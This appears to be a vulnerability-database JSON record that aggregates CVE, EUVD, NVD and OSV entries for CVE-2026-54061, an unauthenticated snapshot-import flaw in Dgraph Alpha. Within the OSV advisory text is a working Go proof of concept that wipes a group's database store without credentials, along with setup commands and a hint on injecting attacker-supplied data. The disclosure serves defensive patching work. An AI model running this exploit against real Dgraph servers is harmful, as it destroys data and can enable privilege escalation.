{"id":"GHSA-rrwh-6jrq-wp5v","revision":null,"records":[{"revision":"d098d41e775d41cb824d9ed8b785937b","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-54061","aliases":[],"title":"Dgraph Alpha group stores can be replaced via unauthenticated external snapshot import","description":"Dgraph is an open source distributed GraphQL database. Prior to version 25.3.5, Dgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port `:9080` without authentication or authorization. As a result, an unauthenticated network client can open `StreamExtSnapshot` and send Badger stream data to the target group’s store. In addition, the receiver calls `Prepare()` before processing the stream. This operation deletes and replaces the existing DB data. Version 25.3.5 patches the issue.","state":0,"publishedAt":"2026-07-08T13:23:56.884+00:00","modifiedAt":"2026-07-08T14:26:13.341+00:00","affected":[{"ecosystem":"Vendor product","name":"dgraph","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"dgraph-io\",\n                    \"product\": \"dgraph\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 25.3.5\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":9.1,"severity":"CRITICAL"}],"references":["https://github.com/dgraph-io/dgraph/security/advisories/GHSA-rrwh-6jrq-wp5v","https://github.com/dgraph-io/dgraph/releases/tag/v25.3.5"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-54061","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-54061","identifiers":["CVE-2026-54061"]},"retained":false,"historicalAffected":[]},{"revision":"f7ecc5dc2c21405795fd781cf3c17049","observedAt":"2026-11-07T12:28:13.705+00:00","statement":{"source":"euvd","id":"EUVD-2026-42235","aliases":["CVE-2026-54061","GHSA-rrwh-6jrq-wp5v"],"title":"Dgraph is an open source distributed GraphQL database. Prior to version 25.3.5, Dgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port `:9080` without authentication or authorization. As a result, an unauthe…","description":"Dgraph is an open source distributed GraphQL database. Prior to version 25.3.5, Dgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port `:9080` without authentication or authorization. As a result, an unauthenticated network client can open `StreamExtSnapshot` and send Badger stream data to the target group’s store. In addition, the receiver calls `Prepare()` before processing the stream. This operation deletes and replaces the existing DB data. Version 25.3.5 patches the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":9.1,"severity":null}],"references":["https://github.com/dgraph-io/dgraph/security/advisories/GHSA-rrwh-6jrq-wp5v","https://github.com/dgraph-io/dgraph/releases/tag/v25.3.5"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-42235","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 8, 2026, 1:23:56 PM","dateUpdated":"Jul 8, 2026, 2:26:13 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-42235","identifiers":["EUVD-2026-42235","CVE-2026-54061","GHSA-rrwh-6jrq-wp5v"]},"retained":false,"historicalAffected":[]},{"revision":"5042d1eb1eeb45b38c0423968fc770c0","observedAt":"2026-10-27T14:13:29.239+00:00","statement":{"source":"nvd","id":"CVE-2026-54061","aliases":[],"title":"Dgraph is an open source distributed GraphQL database. Prior to version 25.3.5, Dgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port `:9080` without authentication or authorization. As a result, an unauthe…","description":"Dgraph is an open source distributed GraphQL database. Prior to version 25.3.5, Dgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port `:9080` without authentication or authorization. As a result, an unauthenticated network client can open `StreamExtSnapshot` and send Badger stream data to the target group’s store. In addition, the receiver calls `Prepare()` before processing the stream. This operation deletes and replaces the existing DB data. Version 25.3.5 patches the issue.","state":0,"publishedAt":"2026-07-08T14:17:06.52+00:00","modifiedAt":"2026-10-25T20:10:00.147+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":9.1,"severity":"CRITICAL"}],"references":["https://github.com/dgraph-io/dgraph/releases/tag/v25.3.5","https://github.com/dgraph-io/dgraph/security/advisories/GHSA-rrwh-6jrq-wp5v"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54061","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-306"],"productCriteria":[],"sourceDates":{"published":"2026-07-08T14:17:06.520","lastModified":"2026-10-25T20:10:00.147"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-54061","identifiers":["CVE-2026-54061"]},"retained":false,"historicalAffected":[]},{"revision":"f4b55e86a22a4650940e789149c74c5f","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-rrwh-6jrq-wp5v","aliases":["CVE-2026-54061","GO-2026-6261"],"title":"Dgraph Alpha group stores can be replaced via unauthenticated external snapshot import","description":"## Summary\n\nDgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port `:9080` without authentication or authorization. As a result, an unauthenticated network client can open `StreamExtSnapshot` and send Badger stream data to the target group’s store. In addition, the receiver calls `Prepare()` before processing the stream. This operation deletes and replaces the existing DB data.\n\n## Root Cause\n\nThe root cause is that the RPCs used for external snapshot import are exposed through Alpha’s public gRPC service, but no administrator authorization check is performed before reaching destructive storage operations.\n\nStreaming RPCs such as `StreamExtSnapshot` do not have a stream interceptor, and the RPC handlers do not perform their own authorization checks. As a result, an unauthenticated client that can reach the public gRPC port can start the import flow. Dgraph then calls Badger’s `StreamWriter.Prepare()` on the target group store. This operation deletes the existing database, allowing the attacker’s stream to potentially replace the store.\n\n## Steps to Reproduce\n\nPreconditions:\n\n- A throwaway Dgraph Alpha is reachable on its public gRPC port, default `:9080`\n- Public gRPC mTLS is not enabled\n- No Dgraph ACL token, JWT, or gRPC `auth-token` metadata is used by the client\n\n1. Start a throwaway standalone Dgraph instance from the tested build and insert synthetic data.\n\n```bash\n# Example if the tested source tree is built and tagged locally.\ndocker run --rm -p 8080:8080 -p 9080:9080 \\\n  -v \"$PWD/dgraph-ext-snapshot-poc:/dgraph\" \\\n  dgraph-standalone:2b6d6328d\n```\n\nFor example, insert a harmless record.\n\n```bash\ncurl -sS -X POST \"http://127.0.0.1:8080/mutate?commitNow=true\" \\\n  -H \"Content-Type: application/rdf\" \\\n  --data-binary $'{ set { _:poc <name> \"before-import\" . } }'\n```\n\n2. From an unauthenticated client, open `Dgraph.StreamExtSnapshot` and select group 1 as the target group.\n\n```go\npackage main\n\nimport (\n    \"context\"\n    \"fmt\"\n    \"io\"\n    \"log\"\n\n    \"github.com/dgraph-io/dgo/v250\"\n    \"github.com/dgraph-io/dgo/v250/protos/api\"\n)\n\nfunc main() {\n    ctx := context.Background()\n\n    // No JWT or auth metadata is attached.\n    dg, err := dgo.Open(\"dgraph://127.0.0.1:9080\")\n    if err != nil {\n        log.Fatal(err)\n    }\n    defer dg.Close()\n\n    client := dg.GetAPIClients()[0]\n    stream, err := client.StreamExtSnapshot(ctx)\n    if err != nil {\n        log.Fatal(err)\n    }\n\n    if err := stream.Send(&api.StreamExtSnapshotRequest{GroupId: 1}); err != nil {\n        log.Fatal(err)\n    }\n    if _, err := stream.Recv(); err != nil {\n        log.Fatal(err)\n    }\n\n    // Complete an empty external snapshot stream. On the server side,\n    // the local subscriber calls StreamWriter.Prepare() before consuming\n    // packets from the stream.\n    if err := stream.Send(&api.StreamExtSnapshotRequest{\n        Pkt: &api.StreamPacket{Done: true},\n    }); err != nil {\n        log.Fatal(err)\n    }\n\n    for {\n        resp, err := stream.Recv()\n        if err == io.EOF {\n            break\n        }\n        if err != nil {\n            log.Fatal(err)\n        }\n        if resp.GetFinish() {\n            fmt.Println(\"unauthenticated external snapshot stream finished\")\n            break\n        }\n    }\n}\n```\n\nObserved result:\n\n- The unauthenticated stream is accepted.\n- No prior `UpdateExtSnapshotStreamingState(Start)` call is required.\n- `worker.runLocalSubscriber(...)` calls `pstore.NewStreamWriter().Prepare()`.\n- Badger drops the existing target group DB before the stream completes.\n- The synthetic data that existed before the stream is no longer served from the cleared group store.\n\nThe official import client demonstrates the same wire format and call order: `dgraph/cmd/dgraphimport/import_client.go` opens `dgo.Open(...)`, calls `StreamExtSnapshot`, sends a first `GroupId` message, and then streams `api.StreamPacket.Data` chunks followed by `Done: true`.\n\nThis Done-only PoC demonstrates unauthenticated clear/empty replacement of the selected group store. To additionally demonstrate attacker-controlled non-empty replacement, send valid Badger stream chunks in `api.StreamPacket.Data` before `Done: true`.\n\n## Impact\n\nAn unauthenticated attacker who can reach Alpha’s public gRPC port can clear a selected Dgraph group store or replace it with attacker-supplied Badger stream data. In ACL-enabled deployments, group 1 stores Dgraph’s ACL/internal predicates, so replacing group 1 may also lead to privilege escalation.\n\n## Suggested Remediation\n\n1. Require administrator authorization before `UpdateExtSnapshotStreamingState` calls `worker.ProposeDrain(...)`.\n2. Require the same authorization at the start of `StreamExtSnapshot` using `stream.Context()`.\n3. Add a gRPC stream interceptor so streaming RPCs receive the same auth and audit treatment as unary RPCs.\n4. Reject `StreamExtSnapshot` unless import mode was explicitly armed by an authorized request.","state":0,"publishedAt":"2026-08-20T17:29:00+00:00","modifiedAt":"2026-09-10T03:50:54.0803837+00:00","affected":[{"ecosystem":"Go","name":"github.com/dgraph-io/dgraph/v25","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"25.3.5"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/dgraph-io/dgraph/security/advisories/GHSA-rrwh-6jrq-wp5v","https://nvd.nist.gov/vuln/detail/CVE-2026-54061","https://github.com/dgraph-io/dgraph","https://github.com/dgraph-io/dgraph/releases/tag/v25.3.5"],"sourceUrl":"https://github.com/advisories/GHSA-rrwh-6jrq-wp5v","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-rrwh-6jrq-wp5v","identifiers":["GHSA-rrwh-6jrq-wp5v","CVE-2026-54061","GO-2026-6261"]},"retained":false,"historicalAffected":[]},{"revision":"d93877d3284c4db8bd605e3a0ee3d828","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6261","aliases":["CVE-2026-54061","GHSA-rrwh-6jrq-wp5v"],"title":"Dgraph Alpha group stores can be replaced via unauthenticated external snapshot import in github.com/dgraph-io/dgraph","description":"Dgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port without authentication or authorization. An unauthenticated network client can call StreamExtSnapshot and send Badger stream data to replace a target group's store, which drops and replaces the existing database data.","state":0,"publishedAt":"2026-08-25T19:43:14+00:00","modifiedAt":"2026-08-26T01:13:10.1231472+00:00","affected":[{"ecosystem":"Go","name":"github.com/dgraph-io/dgraph","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/dgraph-io/dgraph/v25","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"25.3.5"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/dgraph-io/dgraph/security/advisories/GHSA-rrwh-6jrq-wp5v","https://github.com/dgraph-io/dgraph/releases/tag/v25.3.5"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6261","license":"OSV · upstream source license applies","key":"osv:GO-2026-6261","identifiers":["GO-2026-6261","CVE-2026-54061","GHSA-rrwh-6jrq-wp5v"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T20:52:46.7845564+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T20:52:46.7845564+00:00","lastSuccessAt":"2026-11-07T20:52:46.9707302+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.9707321+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-1766179264875bb4621a23ce4c6bcebec63fb794a16e35c2f5592f4ee300ee2e","complete":true,"records":420944,"lastAttemptAt":"2026-11-07T21:52:05.6277494+00:00","lastSuccessAt":"2026-11-07T20:52:46.0341312+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.1142943+00:00","snapshotPublishedAt":"2026-11-07T20:26:36+00:00","importing":true,"stagedRecords":736,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-cbfb00168958467aaa6015d5230faa08","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T21:04:54.6100336+00:00","lastSuccessAt":"2026-11-07T21:04:54.606+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:04:54.606+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T20:52:46.7845564+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T20:52:46.7845564+00:00","lastSuccessAt":"2026-11-07T20:52:47.1482288+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:47.1482303+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b9464f9c589b4886928e7045b5ad1e11","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T20:52:54.6850231+00:00","lastSuccessAt":"2026-11-07T20:52:54.68+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:54.68+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T20:52:46.6024506+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.6024506+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T20:52:46.3552169+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.3552169+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T20:52:46.7261257+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.7261257+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T20:52:46.4923243+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.4923243+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}